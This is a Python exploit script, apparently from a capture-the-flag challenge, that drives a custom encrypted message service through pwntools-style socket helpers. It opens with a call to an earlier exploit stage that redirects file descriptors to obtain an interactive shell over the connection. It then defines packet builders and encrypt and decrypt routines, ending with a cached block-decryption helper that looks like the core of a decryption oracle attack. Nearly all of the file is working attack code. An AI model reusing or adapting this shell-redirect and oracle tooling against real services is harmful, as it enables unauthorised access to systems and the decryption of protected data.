from exploit2 import *

exploit_system("cat <&4 >&5 & cat <&5 >&4; echo 'EOF!EOF!' >&5")

from typing import Optional
from zlib import crc32
from dataclasses import dataclass
from functools import cache

RESPONSE = 0x1336
ADD_MSG = 0x1337
ENCRYPT = 0x1338
DECRYPT = 0x1339

@dataclass
class Message:
    mode: int = 0
    size_mode0: Optional[int] = None
    id: int = 0
    data: bytes = b""
    crc: Optional[int] = None
    size_mode1: Optional[int] = None

    def to_bytes(self):
        if self.crc is None:
            self.crc = crc32(self.data) & 0xffffffff
        if self.size_mode0 is None:
            self.size_mode0 = len(self.data)
        if self.size_mode1 is None:
            self.size_mode1 = len(self.data)
        return struct.pack("<III256sII",
            self.mode, self.size_mode0, self.id, self.data, self.crc, self.size_mode1)

    @classmethod
    def from_bytes(cls, data):
        res = cls(*struct.unpack("<III256sII", data))
        res.data = res.data.rstrip(b"\0")
        return res

def xor(a, b):
    return bytes([ca^cb for ca,cb in zip(a,b)])

def write_pkt(cmd, msg=None, resp=0):
    s.send(p32(resp) + p32(cmd) + (msg.to_bytes() if msg else b"\0" * 0x114))

def read_responses(progress=False):
    resps = []
    while 1:
        if progress:
            log.info("reading responses... %d", len(resps))
        resp = s.recvn(8)
        if resp == b"EOF!EOF!":
            raise EOFError()
        resp, cmd = u32(resp[:4]), u32(resp[4:])
        msg = Message.from_bytes(s.recvn(0x114))
        if cmd == RESPONSE:
            break
        resps.append(msg)
    return resp, resps

def add(msg):
    write_pkt(ADD_MSG, msg=msg)

def encrypt(n):
    write_pkt(ENCRYPT)
    for i in range(n):
        resp, data = read_responses()
        assert resp == 1
    resp, data = read_responses()
    assert resp == 1
    return data

def decrypt(n):
    write_pkt(DECRYPT)
    for i in range(n):
        resp, data = read_responses()
        assert resp == 1
    resp, data = read_responses()
    assert resp == 1
    return data

@cache
def decrypt_block(block):
    add(Message(mode=1, data=b"\0" * 16 + block))
    data = decrypt(1)
    return data[-1].data.ljust(32, b"\0")[16:32]